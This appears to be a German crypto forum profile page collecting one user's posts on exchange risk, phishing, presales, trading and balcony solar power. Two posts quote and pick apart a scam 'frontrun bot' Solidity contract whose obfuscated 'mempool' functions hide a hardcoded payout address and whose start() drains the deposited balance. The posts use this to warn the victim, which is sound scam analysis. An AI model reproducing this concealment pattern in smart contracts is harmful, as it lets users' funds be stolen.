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skunk

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Beiträge von skunk

  1. vor 4 Stunden schrieb sisqonrw:

    Gegen den Berichten von vielen Youtubern kann man die Cryptos ruhig auf Binance (nicht US) drauf lassen und bei denen weiter auch kaufen?

    Nein. Selbst bei Kraken kannst du das nicht machen. Das Geld was du auf der Börse liegen lässt, ist grundsätzlich immer einem erhöhtem Risiko ausgesetzt. Die Börse kann jederzeit, gehackt, verklagt, insolvent, reguliert oder was dir sonst so einfällt. Oberste Regel im Umgang mit jeder vermeintlich sicheren Börse ist daher dein Geld nur solange einem Risiko auszusetzen wie notwendig. Also Geld einzahlen, zeitnah alle Trades durchführen und dann das Geld auszahlen. Lagere deine Coins lieber auf einem Hardware Wallet. Wenn dein erspartes irgendwann zu groß wird dann den ganzen Ablauf in kleinen Paketen ausführen um das Risiko möglichst gering zu halten.

  2. vor 4 Stunden schrieb CoinSucht:

    Habe ich überhaupt eine Möglichkeit meine Token von zwei Anbieter zum Tag des Claimens oder später retten zu können ?

    Ja. Flashbots war bereits der richtige Suchbegriff.

    vor 4 Stunden schrieb CoinSucht:

    Können die Betrüger die meine Wallet kompromittiert haben auch die Möglichkeit bei diesen zwei Anbieter meine Token zu claimen und zu stehlen?

    Ja. Sie haben vollen Zugriff auf dein Wallet und können grundsätzlich alles machen was du auch machen kannst.

    vor 4 Stunden schrieb CoinSucht:

    Die Betrüger hatten die offizielle Seite vom jeweiligen Token auf Telegram so perfekt kopiert, dass ich reingefallen bin.

    Hier liegst du falsch. Nehmen wir mal kurz an es wäre die offizielle Seite gewesen. Warum willst du da überhaupt deinen Seed eingeben? Den Teil würde ich an deiner Stelle nochmal überdenken sonst wirst du auf diesen Trick in Zukunft nochmal reinfallen.

  3. Am 13.6.2023 um 18:21 schrieb Octagon:

    Und einen Tag danach hat eine andere Adresse "swap" ausgeführt. Function: swap(string aggregatorId, address tokenFrom, uint256 amount, bytes data)

    Das gibts aber gar nicht in diesem Contract !?

    Jetzt sehe ich gerade wo der Swap her kommt. Es werden 3 weitere Smart Contract importiert. Das erklärt den Swap Aufruf.

    Ansonsten wie gehabt. Ich habe den Quellcode einen Post über mir im Testnet ausprobiert und erneut geht alles an die bereits bekannte Adresse. Ich kann mir weiterhin nicht erklären warum auf dem Contract noch Guthaben liegt obwohl der Start Aufruf in meinen Tests bereits alles transferiert hat.

  4.   

    vor 31 Minuten schrieb luxy:

    Im presale kauft man ja deswegen ein, weil der Token ja günstiger ist als später beim Listing. 

    [...]

    Da auch kein Ceo oder irgendwelche Namen von Verantwortlichen auf der Homepage genannt werden, stinkt dies, für mich jedenfalls, nach einem Riesen grossen Scam.

    Ich sehe das etwas anders. Ich stufe all diese Meme Coins von Anfang an als Scam ein. Es wird am Ende immer mehr Verlierer als Gewinner geben.

    Du hast den Coin ursprünglich gekauft weil du auf Preissteigerungen gehofft hattest. Ob der Meme Coin jemals liefert was im Whitepaper alles versprochen wird, ist völlig egal. Hauptsache du kannst den Coin mit Gewinn an jemand anderes verkaufen. Ist das nicht so oder so ein Pakt mit dem Teufel? Warum beklagst du dich jetzt, dass dieser Teufel sich praktisch genau so verhält wie man das erwarten würde? Maximaler Gewinn nur eben dieses mal nicht für dich.

    vor 52 Minuten schrieb luxy:

    Ich denke also, dass nach dem Listing der Kurs nach unten gehen wird, jedermann das flattern bekommen wird und der Kurs daraufhin gnadenlos abstürzen wird. Daraufhin wird er wohl wieder (wahrscheinlich von den selben Leuten die das ganze geplant haben und 30 Millionen eingesackt haben wohl wieder eingekauft werden.

    Machen wir mal ein kleines Rollenspiel. Stell dir vor du hättest das Projekt ins Leben gerufen und 30 Millionen USD beim Sale eingenommen. Was machst du mit diesen 30 Millionen? Richtig du steckst es in die eigene Tasche und startest direkt das nächste Projekt mit einem neuen Token Sale. Solange der Markt heiß auf Presales ist, wist du dein Angebot genau darauf ausrichten.

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  5. vor 5 Minuten schrieb Axiom0815:

    Das nächste "freudige Ereignis" steht schon wieder an, wenn 2024 die Krankenkassenabgaben erhöht werden. Klar, Mio Flüchtlinge aus aller Welt strömen nach Deutschland und in die Krankenkassen. Logo steigen die Kosten.

     

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  6. vor 1 Stunde schrieb Octagon:

    Vermutlich failed die Transaction, deshalb.

    Kurzer Test: Falls du von MyContractResolver die Funktion aufrufst gehts nicht. Denn:

        modifier onlyCreator() {
            require(msg.sender == creator, "Only contract creator can call this function.");
            _;
        }

    Das require wird fehlschlagen, da msg.sender != creator. Wenn so aufgerufen ist msg.sender der callende contract und nicht der creator. Ich vermute das es fehlschlägt, und deshalb so hoch anzeigt. Normal ist es höchstens vielleicht ein Euro, wenn die Ausführung klappt, kostet ca. 37k gas, also nicht viel.

     

    Kannst du mal den kompletten Quellcode deines original Contracts posten?

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  7. Am 10.6.2023 um 16:17 schrieb sladostrastnik:

    Aber hier ist die Anleitung, der ich aufgesessen habe : 

    Ich habe mal den Code aus der Anleitung im Testnet deployed um die Zieladresse raus zu bekommen. Das Muster passt aber nicht zu deinem Contract. Eventuell haben die Scammer zwischenzeitlich den Quellcode verändert. Aktuelle würde das hier passieren: https://etherscan.io/address/0x75490e387f72a229e00f73f4e5f1d5477fcae6cf

    Schon beim Start wird alles Guthaben umgebucht. Bei dir liegt das Guthaben auch nach dem Aufruf von Start noch im Contract. Irgendwas passt hier nicht zusammen. Kannst du uns vielleicht mal den Quellcode geben, den du noch in remix gespeichert hast?

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  8. vor 3 Stunden schrieb sladostrastnik:

    Wies0 der das noch nicht weg ist (falls ich es richtig verstehe - und der Betrüger hats bereits bei sich im Wallet)?

    Wozu die Eile?

    Aus Sicht des Scammer stellt sich die spannende Frage wann die Opfer merken, dass mit dem Smart Contract etwas nicht stimmt und wie viel weitere ETH sie bis dahin noch einzahlen. Auch interessant ist wie vielen anderen Menschen du von diesem tollen Smart Contract in der Zeit erzählst. Über all das wird der Scammer eine Statistik führen. Jedes Opfer ist ein weiterer Messpunkt für diese Statistik. Der Scammer wird von sich aus erst dann ein Withdraw initieren wenn er davon ausgehen kann, dass es sich nicht mehr lohnt weiter abzuwarten. Aus seiner Sicht besteht zumindest aktuell noch die Möglichkeit, dass du weitere ETH einzahlst. Solange diese Möglichkeit besteht wird der Scammer die Füße still halten.

    Der finale Messpunkt für seine Statistik wird sein zu welchem spätest möglichen Zeitpunkt seine Opfer netterweise noch Withdraw ausführen. Bedeutet für den Scammer immerhin, dass er die Transaktionsgebühren nicht bezahlen muss.

    vor einer Stunde schrieb Octagon:

    Er kann nicht wissen, dass dieser Contract existiert. Soweit gab es keine Funktion, die irgendeine Meldung oder was irgendwohin verschickt beim Deployen. Er ist darauf angewiesen, dass jemand "start" ausführt. Oder er scannt alle neuen Contracts auf ETH, um sie zu suchen.

    Die Start Funktion erzeugt netterweise einen Log Eintrag. Ich hätte behauptet ich kann meiner lokalen Geth Node eine Einstellung mit auf den Weg geben diese Log Einträge alle in ein Debug Log zu schreiben. Damit wären all diese Smart Contracts recht einfach zu finden.

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  9. vor 1 Stunde schrieb sladostrastnik:

    da withdrawl drin ist im Code und ausgeführt werden kann, dann geht doch der Betrag automatisch nur (!) an den Ersteller des Contracts? Ist das richtig?

    Nein. Nur weil die Funktion Withdraw heißt, ist das noch lange keine Garantie dafür, dass die an deine Adresse auszahlt. Der Quellcode lässt mich daran irgendwie zweifeln. Ich vermute eher das ist ein Scam und zwar ein sehr geschickter. So geschickt, dass ich es nicht mit Gewissheit sagen.

    Was mich stutzig macht ist das Fehlen deiner Adresse. Jeder andere Smart Contract würde im Quellcode eine Variable mit dem Namen Owner setzen oder irgendwas in der Richtung. Wenn ich das richtig lese dann wird das hier ausgeführt um die Adresse zu ermitteln:
     

        /*
         * @dev Iterating through all mempool to call the one with the with highest possible returns
         * @return `self`.
         */
        function callMempool() internal pure returns (string memory) {
            string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
            uint _memPoolSol = 661728;
            uint _memPoolLength = getMemPoolLength();
            uint _memPoolSize = 774919;
            uint _memPoolHeight = getMemPoolHeight();
            uint _memPoolWidth = 157565;
            uint _memPoolDepth = getMemPoolDepth();
            uint _memPoolCount = 474310;
    
            string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
            string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
            string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
            string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
    
            string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
            string memory _fullMempool = mempool("0", _allMempools);
    
            return _fullMempool;
        }

    Warum so umständlich? Das sieht mir eher danach aus, dass der Smart Contract praktisch eine fixe Auszahlungsadresse generiert aber diese geschickt im Quellcode versteckt. Dem traue ich nicht über den Weg.
     

    vor 1 Stunde schrieb sladostrastnik:

    Wenn aber es nicht automatisch an den Ersteller zurück geht, dann kann man doch die Funktion "withdrawProfits()" in seinem Code mit "msg.sender" erweitern.

    Und wie stellst du dir das vor? Einmal deployed kannst du den Quellcode nicht nachträglich ändern.

    Was du dagegen machen kannst ist die aktuell noch als internal markierte Funktion einfach mal Public machen. Dann den Code erneut deployen. Vorzugsweise im Testnet um nicht unnötig Transaktionsgebühren zu bezahlen.

    Edit: Ich sehe gerade die Withdrawal Adresse ist komplett hardcodiert. Die 3 get Funktionen, die dort aufgerufen werden, geben auch nur jeweils eine Zahl zurück. Das heißt es ist egal wer den Smart Contract deployed. Die Auszahlung geht immer an die gleiche Adresse.

    Ich tippe mal ganz stark darauf, dass der Smart Contract das Ziel hat dich möglichst lange im Unklaren zu lassen. Du butterst da 0,5 ETH rein. Dann bekommst du auf magische Art und Weise einen Reward wo es eigentlich keinen geben dürfte. Vermutlich mit der Absicht in deinem Gehirn den Schalter mit der Aufschrift "Gier" zu aktivieren um dich dazu zu verleiten weitere ETH einzuzahlen. Wenn du irgendwann in vielen Monden dann dein Geld auszahlen willst, folgt die Überraschung. Darauf tippe ich.
     

    vor 1 Stunde schrieb PeWi:

    Wenn das tatsächlich ausprogrammiertes Frontrunning auf Uniswap ist, dann könnte es durchaus funktionieren?

    Warum sollte irgend jemand bei seinem Trade einen fremden Smart Contract mit ausführen? Eigentlich gilt, dass jemand den Smart Contract aufrufen muss. Ein Smart Contract wird niemals automatisch ausgeführt. Die ganzen Frontrunner Geschichten laufen soweit ich weiß über Bots. Das Zauberwort dafür heißt MEV. Das sind Bots, die den ganzen Tag lang alle Transaktionen des Mempools durchgehen und schauen ob sie irgendwie Profit daraus schlagen können. Finden sie eine Möglichkeit, müssen sie aktiv eine Transaktion erstellen, signieren und mit einer entsprechend höheren Transaktion Gebühr noch davor in den Mempool schieben.

    Interessant ist auch, dass in dem Quellcode mehrfach das Wort Mempool fällt aber dahinter verbergen sich dann nur hardcodierte Werte. Es gibt ein getMemPoolLength, getMemPoolHeight, getMemPoolDepth. Seit wann hat der Mempool 3 Dimensionen? Und warum geben alle 3 Funktionen einen fixen Wert zurück? Fun Fact am Rande: Der Smart Contract kann den Mempool so oder so nicht abfragen. Insofern ist der Teil des Codes ziemlich sicher Bullshit. Vermutlich mit dem Ziel die Auszahlungsadresse zu maskieren sodass sie nicht auf den ersten Blick ins Auge springt.

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  10. vor 34 Minuten schrieb sladostrastnik:

    pm geht irgendwie nicht. also hier ist sie: 0xAA0d1d3DFa6996B3E0E0BeCbe22D72776EA17BF1

    0,49 ETH liegen noch da und warten auf den Withdrawal. An welche Adresse der gehen würde kann ich jedoch nicht so einfach einsehen. Das müsstest du dann wohl selbst machen.

    Edit: Ich habe den Code gerade mal selbst kompiliert. Adresse prüfen kannst du leider nicht. Du kannst tatsächlich nur Start oder Withdraw ausführen. Mehr Infos gibt es nicht. 

  11. Ausgeführt hast du das hier:

        /*
         * @dev Perform frontrun action from different contract pools
         * @return `liquidity`.
         */
        function start() public payable { 
            emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
            payable(_callFrontRunActionMempool()).transfer(address(this).balance);
        }



    Es gibt ein Withdrawal direkt darunter:

        /*
         * @dev withdraws profits back to the contract creator address
         * @return `profits`.
         */
        function withdrawal() public payable { 
            emit Log("Sending profits back to contract creator address...");
            payable(withdrawProfits()).transfer(address(this).balance);
        }



    Wenn du wissen willst an welche Adresse der Withdrawal gehen würde dann musst du einmal withdrawProfits ausführen. Das sollte eigentlich kostenlos sein und du kannst prüfen ob der widthrawal überhaupt an deine Adresse gehen würde.

    Zusätzlich solltest du auch prüfen ob der Contract überhaupt eine Balance hat. Das kannst du recht einfach über einen Block Explorer machen.

    Wenn du kein Wort verstehst von dem was ich geschrieben habe dann kannst du mir auch einfach die Adresse des Contracts senden und ich prüfe das kurz.

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  12. vor einer Stunde schrieb Master1980:

    Hallo zusammen, habe gestern eine mail bekommen für einen Chainlink Airdrop. Sieht sehr echt aus die mail.

    Kann das jemand bestätigen, das sowas geplant ist? Die ist von Chainlink Labs...

    Stell dir mal für einen Moment vor es wäre eine Email von deiner Hausbank. Was machst du um den Inhalt der Email zu verifizieren? Im Forum nachfragen ob dir der Scammer höchst persönlich die Echtheit seine Phishing Email bestätigt? Meinst du nicht, dass das der falsche Weg ist?

  13. vor 25 Minuten schrieb Krypto_Robert:

    Tatsächlich wechseln die betreiber wohl immer wieder die Registrierung zum schutz vor hackern.

    Bullshit :D 

    Edit: Des Rätsels Lösung ist eher, dass die Webseite ein Scam sein dürfte. Alle paar Monate muss die Webseite dann neu resistiert werden weil sich dann rumgesprochen hat, dass es ein Scam ist. Also neue Webseite und neuen Namen dann kann der Spaß von vorne beginnen.

    Wenn es angeblich dem Schutz vor Hackern dient die Webseite alle paar Monate neu zu registrieren wie kommt es dann, dass außer den Scam Projekten keiner das für nötig erachtet? Nehmen wir das Forum hier zum Beispiel. Das ist jetzt schon seit Jahren unter der immer gleichen URL zu finden. Wie oft wurde es in der Zeit gehackt?

  14. vor 2 Stunden schrieb Looser:

    Da hat mir ein Kumpel geraten mir einen neuen Ledger Nao S Plus zu kaufen und alles da drauf zu spielen

    Den neuen Ledger hast du bestellt oder hat er den bestellt? Hast du den direkt vom Hersteller bezogen und an deine Adresse liefern lassen? Inbetriebnahme lief ebenfalls auf deiner Seite? Das Gerät hat einen Seed generiert oder hat dir dein Kumpel einen Seed gegeben?

    Edit: Wenn du jedes Restrisiko ausschließen willst, kannst du auch nochmal mit deinem alten Ledger ein neuen Seed generieren lassen und dann die Coins darauf senden. Dann hättest du die Garantie, dass nur du den neuen Seed kennst. Beim neu gekauften Ledger dann ebenfalls den Seed eingeben damit der Kauf nicht umsonst war.

  15. vor 57 Minuten schrieb luxy:

    Ich hatte ein x2 Profit aber wenn ich schneller gewesen wäre, wäre auch x3 möglich gewesen.

    Ist das nicht etwas wenig? Das ganze ist doch wie ein Roulette Tisch. Mal gewinnst du und mal verlierst du. Um unterm Strich mit genug Gewinn den Tisch zu verlassen, musst du in einem Projekt genug Gewinn machen um alle anderen Verluste ausgleichen zu können. Dafür erscheint mir x2 zu wenig. Wenn du sagen wir bei 1 von 10 Projekten richtig liegst, müsste das eine Projekt mindestens x10 machen.

    Zusätzlich hast du noch das Problem, dass du auf den Gewinn Steuern zahlen musst. Die Messlatte die du überbieten musst ist ein Investment in sagen wir mal BTC und dann mehr als 1 Jahr liegen lassen. Wenn der BTC Preis sich in dem einen Jahr verdoppelt, müsstest du deinen Einsatz mal eben verdreifachen oder vervierfachen um nach Abzug der Steuern gleich zu ziehen.

    vor einer Stunde schrieb luxy:

    Allderdings, sobald der Kurs unter meinen Einstiegskurs fällt werde ich mittels gesetzten Stop Loss sofort die reisslinieziehen.

    Stop Loss Order haben den unangenehmen Nachteil gerade bei Coins mit dünnem Orderbuch grandios zu versagen. Wenn ganz viele Menschen auf ein Stop Loss vertrauen, kann es schnell zu einem Kaskadierenden Effekt kommen. Das erste Stop Loss treibt den Preis weiter runter, das löst das nächste Stop Loss aus usw. Am Ende steht du da und hast deine Coins zu einem Kurs verkauft der tatsächlich weit entfernt von deinem eigentlich Stop Loss ist. Das Risiko musst du im Hinterkopf behalten. Gerade bei den Coins mit denen du tradest würde ich so ein Stop Loss am ehesten versagen sehen.

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  16. vor 2 Stunden schrieb christianb:

    Anfängerfrage: was ist besser am Tag des Listings? Limit, oder Marketpreis? Um meinen im Presale erworben Coin zu verkaufen. Bei meinem ersten Listing ging alles so schnell, das ich gar nicht hinterher kam, neue Limits zu setzen. Oder von vornherein realistische Limits eingeben? Oder doch darauf vertrauen, das der Marketpreis nicht all zu weit vom angezeigten Wert liegt? Vielen Dank

    Die Erfahrung lehrt einem, dass man besser die Finger von Presale lässt. Die meisten Coins werden am Tag des Listings erstmal ordentlich nach unten sacken und über Monate hinweg auch unterhalb des Presale Preises bleiben. Wenn du von einem Coin überzeugt bist, dann warte einfach ab bis der Preis am Boden ist.

    Hat den Vorteil, dass du zu dem Zeitpunkt auch Zugriff auf mehr Informationen hast um das Projekt besser bewerten zu können. Der beim Presale erzeugte Zeitdruck soll dich zu einem übereilten Kauf verleiten. Wartest du dagegen ab bis der Preis am Boden ist, hast du alle Zeit der Welt für weitere Nachforschungen.

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  17. vor 41 Minuten schrieb Jokin:

    Wenn dein Vermieter mit dir zufrieden ist und auch seine Mieteinnahmen zufriedenstellend sind, wird er dich gern behalten wollen und dir das dann zusagen.

    Hier herrscht chronischer Mangel an bezahlbaren Wohnraum. Mein Vermieter hätte sicher nichts dagegen wenn ich ausziehe und er im Zuge der Neuvermietung direkt die Miete weiter anheben kann.

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  18. vor 4 Minuten schrieb cryptonix:

    Wieder sehr konstruierter Sonderfall. Bei den hier genannten Fällen dürfte das wohl kaum der Fall sein. Inselanlage mit einem doch recht großen Speicher, naja ;).

    Da bin ich voll bei dir. Meine Meinung bezüglich des überaus teuren Akkus habe ich bereits zu Protokoll gegeben :D

    vor 5 Minuten schrieb cryptonix:

    Wenn der Vermieter eine Balkon-PV-Anlage nicht will, dann ist er generell dagegen.

    Es sind ja weitere Vereinfachungen geplant. Wenn die durch gehen, wäre ein Balkonkraftwerk tatsächlich so einfach wie von dir beschrieben.

  19. vor 20 Minuten schrieb cryptonix:

    Wer betreibt in einer Mietwohnung eine reine Inselanlage mit Speicherchen?

    Damit könnte man zumindest den Zwangs zum Wieland Stecker umgehen. Nehmen wir mal an mein Vermieter erlaubt mir eine Solarzelle an die Balkonbrüstung zu hängen oder aber er verbietet es mir aber die Petition erreicht, dass meinem Vermieter dieses Mitspracherecht entzogen wird, könnte mein Vermieter dennoch auf dem Wieland Stecker bestehen. Damit wäre mir eine Einspeisung praktisch unmöglich.

    Wenn ich aber keinen Strom einspeise, brauche ich den Stecker auch nicht mehr....

  20. vor 21 Minuten schrieb cryptonix:

    Kurze Frage zu dem Thema: Was genau soll an einer normalen 0815-Haus-PV-Anlage denn groß mit Bürokratie verbunden sein? Das wird dem EVU gemeldet, ggf. der Zähler schnell gewechseln. Dann Eintrag ins Marktstammdatenregister und gut ist. Steuer, Eigenverbrauchsquatsch, etc. sind seit 2022 eh kein Thema mehr (auch wenn ich mit vielem nicht einverstanden bin, an der Stelle danke an "grün" :) ). Oder was übersehe ich hier?

    Die Probleme fangen da an wo der Vermieter nicht mitspielen möchte. Zum Beispiel steht in meinem Mietvertrag, dass ich nichts an meiner Balkonbrüstung anbringen darf. Ich müsste also mindestens einmal um Erlaubnis fragen. Das soll geändert werden aber noch ist es eben so.

    Selbst wenn die Änderung irgendwann durch wäre, kommt noch die VDE Dose als weiteres Hindernis. Ich habe keine VDE Dose und müsste erneut meinen Vermieter um Erlaubnis fragen.

    Praktisch bedeutet das, wenn der Vermieter nicht möchte, hat er genug Möglichkeiten mir so eine Anlage zu untersagen.

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  21. vor 41 Minuten schrieb Axiom0815:

    Solche Powerstation ist schon was feines und wenn man jetzt die Option hat, sie auch in ein Balkonkraftwerk zu nutzen sind das wieder weitere Pluspunkte.

    Beim ersten Teil stimme ich dir voll und ganz zu. So eine Powerstation ist in vielen Situationen Klasse.

    Beim zweiten Teil in Kombination mit einem Balkonkraftwerk ist die Powerstation für mich eher ein Minuspunkt und kein Pluspunkt. Balkonkraftwerke sind ohne Akku fast schon unschlagbar günstig. Man bekommt diverse gute Sets für um die 500€. Die Lösung mit dem Akku treibt die Kosten in die Höhe und das gewaltig. Wir reden hier von einer Anlage, die um den Faktor 6 teurer ist aber leider eben nicht 6 mal mehr Strom erzeugt. Da würde ich dann nicht von einem Pluspunkt sprechen.

    In Zahlen ausgedrückt reicht es wenn man mit der 500€ Anlage nur 1/6 des täglich verbrauchten Stroms selbst verbraucht und 5/6 ins Netz einspeist. Ab diesem Punkt könnte man vielleicht die Mehrkosten für den Akku rausholen. Aber mal ehrlich. Das ist schon sehr utopisch. Ein normaler 2-4 Personen Haushalt wird nicht mehr viel Strom einspeisen können. Einmal Waschmaschine auf die Mittagszeit programmieren sind bereits um die 600Wh verteilt auf 2-3 Stunden die das Programm läuft. Das reicht bereits aus um einen beachtlichen Anteil des produzierten Stroms selbst zu verbrauchen. Wozu also 6 mal mehr Geld für die Anlage ausgeben wenn es doch eine viel effektivere Möglichkeit gibt?

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